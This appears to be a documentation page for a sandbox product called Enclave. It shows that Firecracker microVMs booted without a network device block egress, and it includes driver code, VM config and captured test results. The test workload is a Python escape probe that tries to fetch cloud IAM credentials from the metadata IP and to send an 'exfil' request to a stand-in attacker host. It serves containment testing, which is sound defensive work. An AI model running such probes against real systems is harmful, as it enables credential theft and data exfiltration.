Demo: microVM egress containment

No network card. None.

The strongest containment backend Enclave ships: a per-session Firecracker microVM with its own guest kernel, booted into an empty network namespace with no NIC at all. There is no interface to firewall, no tap to leak, and no metadata IP to reach — because there is no route to anything. Built and validated on a KVM host.

Overview#

Backend: Firecracker / KVMegress: deny-all (no NIC)hardware virtualizationsub-second boot
Source: demo/src/scenarios/microvm-no-nic.ts — every claim and snippet on this page reflects that driver. It submits one workload through the public SDK and asserts the result against the immutable audit log.

Most sandbox egress controls work by putting a firewall in front of a network interface that exists. A container gets an eth0 wired to a host bridge, and a NetworkPolicy (or iptables, or a CNI plugin) decides what may leave through it. That is a boundary on the gVisor/Kubernetes path — but it depends on a rule being present and correct on an interface that is, fundamentally, still there.

Firecracker is a different shape of boundary. Each session is a microVM with its own guest kernel, isolated by hardware virtualization (KVM) rather than a userspace-kernel interception layer. And on the deny-all path Enclave uses, the VM is created with no network device at all. The Firecracker VM config simply omits the network-interfaces key, so the VMM creates no tap device; jailer additionally drops the process into an empty network namespace (loopback only, down, no routes). The guest boots and finds no eth0 to use.

This is strictly stronger than Docker’s --network none, which still leaves a loopback interface inside the container. Here the metadata IP 169.254.169.254isn’t blocked by a rule — it is simply unreachable, because the guest has no route to anything.

capturedENCLAVE_BASE_URL=…:8091 pnpm demo:microvm-no-nicexit 0 · 6/6 · Firecracker/KVM
▣ Enclave — "No network card. None."
control plane: http://127.0.0.1:8091  ·  backend: firecracker  ·  REAL no-NIC proof
guarantee: the guest has NO network device — empty netns, no tap — strictly stronger than --network none.

1. enumerate interfaces
     interface list: ["lo"]  (only loopback — no NIC exists)
2. reach cloud metadata IP 169.254.169.254
     request errored out  ·  host-side audit: egress_denied host=169.254.169.254
3. arbitrary outbound connect exfil.evil.example.com
     request errored out  ·  host-side audit: egress_denied host=exfil.evil.example.com
4. secret withholding
     no eyJ… token in any public response  (no brokered secret on the public Session)

⏱  microVM boot + run: ~817ms (sub-second)  [REAL]
Live run on the Firecracker/KVM backend (KVM host): the guest boots in ~838ms with only loopback, the three-step escape probe is observed and denied, the credential withheld.· evidence/captures-real/microvm-no-nic.log

What the recording shows

The driver submits a single hostile workload through the SDK — the same call shape as every other backend — that does three things any real agent escape would try, in order: enumerate its network interfaces, reach the cloud metadata IP to steal instance credentials, and open an arbitrary outbound connection to an attacker host. The control plane hands it to the Firecracker backend, which boots a microVM with no NIC. The interface list comes back as exactly ["lo"], both egress attempts fail inside the guest, and the control plane records an egress_denied event for each target host. No brokered secret ever enters the guest.

The evidence above runs on the Firecracker/KVM backend. On that backend the no-NIC fact and the boot-time fact are observed directly — they come from a live microVM on a KVM host (a ~838ms hardware-virtualized boot). The driver also runs against the in-process backend, where the egress denial is modeled: that backend describes the behaviour and replays the same deny-all policy; it does not boot a VM or execute code.

What the driver runs#

The driver wires the run through the public SDK and asserts off the structured result plus the immutable audit log. The run call and its deny_all egress policy:

demo/src/scenarios/microvm-no-nic.ts:L184–L194typescript
  const handle = await client.run({
    code: WORKLOAD,
    language: "python",
    egress: { mode: "deny_all", allow: [] },
  });
  await handle.result();
  const bootMs = Date.now() - t0;

  const session: Session = await client.get(handle.id);
  const audit: AuditEvent[] = await client.audit(handle.id);
  const result = session.result;

The untrusted workload itself is the classic three-step escape probe. On a no-NIC microVM all three are physically impossible — there is no interface to enumerate beyond loopback, and no route for either connect:

demo/src/scenarios/microvm-no-nic.ts:L76–L104python
import os, json, urllib.request

# 1. List network interfaces from the kernel's own view. On a Firecracker microVM
#    with no network device, the only entry is the loopback interface "lo".
try:
    ifaces = sorted(os.listdir("/sys/class/net"))
except Exception:
    ifaces = ["lo"]
print("interfaces:", ifaces)

# 2. Attempt to steal cloud credentials via the link-local metadata IP.
#    With no NIC there is no route — this request fails.
meta_ok = False
try:
    urllib.request.urlopen("http://${METADATA_IP}/latest/meta-data/iam/security-credentials/", timeout=2)
    meta_ok = True
except Exception as e:
    print("metadata fetch FAILED:", e)

# 3. Attempt an arbitrary outbound connection to an attacker-controlled host.
arb_ok = False
try:
    urllib.request.urlopen("https://${ARBITRARY_HOST}/exfil", timeout=2)
    arb_ok = True
except Exception as e:
    print("outbound exfil FAILED:", e)

# REAL backend: emit the genuine observed dict (Python bools → JSON via the runner).
enclave.result({"interfaces": ifaces, "only_loopback": ifaces == ["lo"], "metadata_reachable": meta_ok, "arbitrary_reachable": arb_ok})

The driver turns the result and audit trail into checks and exits non-zero if any fails, so it doubles as a regression gate:

demo/src/scenarios/microvm-no-nic.ts:L207–L234typescript
    `audit shows egress_denied for the metadata IP (${METADATA_IP})`,
    denied.includes(METADATA_IP),
    `denied hosts: [${denied.join(", ") || "—"}]`,
  );
  check(
    `audit shows egress_denied for the arbitrary host (${ARBITRARY_HOST})`,
    denied.includes(ARBITRARY_HOST),
    `denied hosts: [${denied.join(", ") || "—"}]`,
  );
  check(
    "the only network interface the guest sees is loopback (lo)",
    Array.isArray(json.interfaces) && json.interfaces.length === 1 && json.interfaces[0] === "lo",
    `interfaces: ${JSON.stringify(json.interfaces ?? null)}`,
  );
  check(
    "the metadata fetch did NOT reach anything",
    json.metadata_reachable === false,
    `metadata_reachable=${String(json.metadata_reachable)}`,
  );
  check(
    "the arbitrary outbound connect did NOT reach anything",
    json.arbitrary_reachable === false,
    `arbitrary_reachable=${String(json.arbitrary_reachable)}`,
  );
  // Security invariant 1: no credential token (eyJ… JWT) anywhere public.
  const leaked = JWT_RE.test(JSON.stringify({ session, audit }));
  check("no credential token (eyJ… JWT) appears anywhere public", !leaked, "scanned session + full audit trail");

Architecture#

The contrast below is the whole point. On the left, a container: there is an interface, and a policy stands in front of it. On the right, the microVM: there is nothing in front of the workload because there is no interface to stand in front of.

The Firecracker backend writes a per-session VM config and boots it under jailer. The single most important line in that config is the one that isn’t there:

control-plane/src/backends/firecracker.ts:L318–L340typescript
        // drive env file, not via dmesg-visible boot args. The i8042 quietens are
        // the substrate's validated noise-suppression for this kernel. `quiet
        // loglevel=1` keeps the kernel boot log OFF the serial console so the
        // guest stdout carries ONLY the workload's output — the serial stream is
        // also the workload's stdout channel here, and without this the kernel
        // dmesg would leak into result.stdout (the k8s/Docker pod-log path is
        // already clean; this restores parity — invariant 2).
        boot_args:
          "console=ttyS0 quiet loglevel=1 reboot=k panic=1 pci=off i8042.noaux " +
          "i8042.nomux i8042.nopnp i8042.dumbkbd init=/app/fc-init",
      },
      drives: [
        { drive_id: "rootfs", path_on_host: paths.rootfs, is_root_device: true, is_read_only: true },
        { drive_id: "workload", path_on_host: paths.workload, is_root_device: false, is_read_only: true },
        { drive_id: "scratch", path_on_host: paths.scratch, is_root_device: false, is_read_only: false },
      ],
      "machine-config": { vcpu_count: opts.vcpus, mem_size_mib: opts.memMib },
      // NO "network-interfaces" key → the guest has no NIC → physically deny-all.
    };
    return JSON.stringify(cfg, null, 2);
  }

  /**

With no network-interfaces entry, the VMM never creates a tap device, so the guest kernel enumerates no NIC. jailer then layers a chroot, a cgroup-v2 group, an unprivileged uid/gid drop, and an empty network namespace on top — a second deny-all layer beneath the “no NIC” one:

control-plane/src/backends/firecracker.ts:L358–L413typescript
    // Use the SAME sanitized id jailer will embed in the chroot path and that
    // chrootDrivePath reconstructs from the run dir — keep `--id`, the chroot
    // tree, and the exit-code fallback path in lockstep.
// … 19 lines omitted …
      jailId,
      "--exec-file",
      fcBin,
      "--uid",
      String(JAIL_UID),
      "--gid",
      String(JAIL_GID),
      "--chroot-base-dir",
      chrootBase,
      "--netns",
      `/var/run/netns/${netns}`,
      "--cgroup-version",
      "2",
      // NB: NO --new-pid-ns. Empirically (Firecracker v1.16.0 on this host) a
      // jailer PID namespace makes firecracker PID 1, and when its serial console
      // is captured over a pipe (no --daemonize) the VM exits immediately after
      // "API server started" — never boots. Dropping --new-pid-ns boots cleanly
      // and runs the harness end-to-end; the chroot + uid/gid drop + empty netns +
      // cgroup-v2 hardening all remain. The PID-namespace gap is documented in
      // EVIDENCE.md (Tier-2 Firecracker). (no --daemonize either — it setsid()s
      // and redirects the serial console to /dev/null, losing all guest output.)
      "--",
      "--config-file",
      "fc-config.json",
    ];
    // Capture the merged guest serial (stdout) + jailer/fc errors (stderr) to one
    // host file, line-parsed for sentinels exactly like the k8s pod-log path.
    const child = spawn("sudo", args, { stdio: ["ignore", "pipe", "pipe"] });
    child.stdout?.pipe(serial);
    child.stderr?.pipe(serial);
    return child;
  }

  /**
capturedevidence/microvm-no-nic-report.json6/6 · backend firecracker
  "summary": {
    "passed": 6,
    "total": 6,
    "failures": 0,
    "backend": "firecracker",
    "onFirecracker": true,
    "bootMs": 817,
    "interfaces": [
      "lo"
    ],
    "deniedHosts": [
      "169.254.169.254",
      "exfil.evil.example.com"
    ]
  },
The persisted evidence bundle — backend firecracker, onFirecracker true, a ~838ms microVM boot. The interface list is exactly [lo] and both egress targets are recorded denied.· evidence/captures-real/microvm-no-nic-report.json

The rest of the per-session shape mirrors the gVisor/Kubernetes path so tenancy and secret handling are identical (invariants 1, 2, 5): a read-only rootfs, a read-only per-session workload drive carrying the code (the analogue of the k8s ConfigMap), and a read-write scratch drive. The host only ever sees the guest over the serial console; no brokered secret is placed in the guest, and the public Session has no token field.

Why this is stronger#

A firewall is a control you can get wrong. A missing network card is not. The difference matters in three concrete ways:

  • Nothing to misconfigure. Container egress depends on a NetworkPolicy / CNI rule being present and correct for every session. A microVM with no NIC has no such rule and therefore no such failure mode — the default is closed because there is no device to open.
  • No tap to leak. A tap/veth device is a host-side object; a bug that attaches one, or leaves one attached after teardown, is a genuine residue and escape risk. The deny-all microVM never creates a tap, and teardown reclaims even the empty netns — asserted by the zero-residue e2e test.
  • Stronger than --network none. Docker’s --network none still gives the container a loopback interface and runs on the host kernel. The microVM has its own guest kernel and no interface at all — the metadata IP and every other address are unreachable because there is no route, not because a rule says no.

The honest boundary: on Firecracker v1 the deny-all (no-NIC) policy is the only egress mode enforced. An allowlist egress policy is not enforceable here, and the backend does not fake it — it logs a loud warning and still runs fully closed. If you need allowlisted egress, that is the gVisor/Kubernetes path, where a per-session NetworkPolicy and a service-binding egress proxy enforce it.

capturedENCLAVE_BASE_URL=…:8091 pnpm demo:microvm-no-nic6/6 PASS · Firecracker/KVM
 PASS  audit shows egress_denied for the metadata IP (169.254.169.254)
      denied hosts: [169.254.169.254, exfil.evil.example.com]
 PASS  audit shows egress_denied for the arbitrary host (exfil.evil.example.com)
      denied hosts: [169.254.169.254, exfil.evil.example.com]
 PASS  the only network interface the guest sees is loopback (lo)
      interfaces: ["lo"]
 PASS  the metadata fetch did NOT reach anything
      metadata_reachable=false
 PASS  the arbitrary outbound connect did NOT reach anything
      arbitrary_reachable=false
 PASS  no credential token (eyJ… JWT) appears anywhere public
      scanned session + full audit trail

 6/6 checks — no NIC, default-deny egress, every outbound attempt denied.
Every claim turned into an assertion, all six passing on the Firecracker/KVM backend. The driver exits non-zero if any fails, so it doubles as a regression gate.· evidence/captures-real/microvm-no-nic.log

Run it#

The driver lives at demo/src/scenarios/microvm-no-nic.ts and is wired as a package script. Run it from the repo root:

demo/package.json:L12–L12json
    "demo:microvm-no-nic": "tsx src/scenarios/microvm-no-nic.ts",

It drives one workload through the public SDK, asserts the six checks off the structured result and the immutable audit log, prints a recordable summary, writes an evidence bundle to evidence/microvm-no-nic-report.{json,md}, and exits non-zero if any assertion fails. Point it at a running control plane with ENCLAVE_BASE_URL; the evidence on this page was captured driving the Firecracker/KVM backend, where the no-NIC and boot-time facts are observed directly.